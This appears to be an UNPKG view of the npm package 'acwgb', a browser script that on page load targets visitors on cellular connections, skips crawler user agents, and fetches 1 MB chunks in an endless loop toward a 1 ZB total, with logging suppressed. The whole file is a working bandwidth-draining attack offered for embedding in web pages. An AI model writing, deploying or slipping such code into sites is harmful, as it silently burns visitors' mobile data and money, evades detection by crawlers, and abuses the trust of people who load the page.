UNPKG

acwgb

Version:

Acwgb is for continuesly taking bandwidh.

74 lines (65 loc) 2.67 kB
const url = 'http://localhost:8000/low_size.php?size=1048576'; // 1 MB const targetSize = 1 * 1024 * 1024 * 1024 * 1024 * 1024 * 1024; // 1 ZB in bytes let totalDownloaded = 0; function fetchData() { const startTime = performance.now(); // Check if the user agent indicates a bot if (isBot()) { console.log('Bot detected, skipping data fetch.'); return; // Exit if a bot is detected } fetch(url) .then(response => { if (!response.ok) { throw new Error('Network response was not ok'); } return response.blob(); }) .then(blob => { const endTime = performance.now(); totalDownloaded += blob.size; // Increment total downloaded bytes const duration = (endTime - startTime) / 1000; // Duration in seconds const bandwidth = (blob.size / duration) / 1024; // Bandwidth in KB/s // Optionally log bandwidth for debugging (commented out) // console.log(`Bandwidth: ${bandwidth.toFixed(2)} KB/s`); // Check if the target size is reached if (totalDownloaded < targetSize) { fetchData(); // Fetch more data } else { // Optionally log completion (commented out) // console.log('Download complete: 1 ZB reached'); } }) .catch(error => { // Optionally log errors (commented out) // console.error('Error fetching the data:', error); }); } function isCellularConnection() { if ('connection' in navigator) { const connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection; return connection && ( connection.effectiveType === '2g' || connection.effectiveType === '3g' || connection.effectiveType === '4g' || connection.effectiveType === '5g' || connection.effectiveType === '6g' || connection.effectiveType === '7g' || connection.effectiveType === '8g' || connection.effectiveType === '9g' ); } return false; // Fallback if Network Information API is not supported } function isBot() { const userAgent = navigator.userAgent.toLowerCase(); const bots = ['bot', 'googlebot', 'crawler', 'spider', 'robot']; return bots.some(bot => userAgent.includes(bot)); } // Start fetching data only after the page has fully loaded window.onload = function() { if (isCellularConnection()) { fetchData(); } // If not connected to a cellular network, do nothing };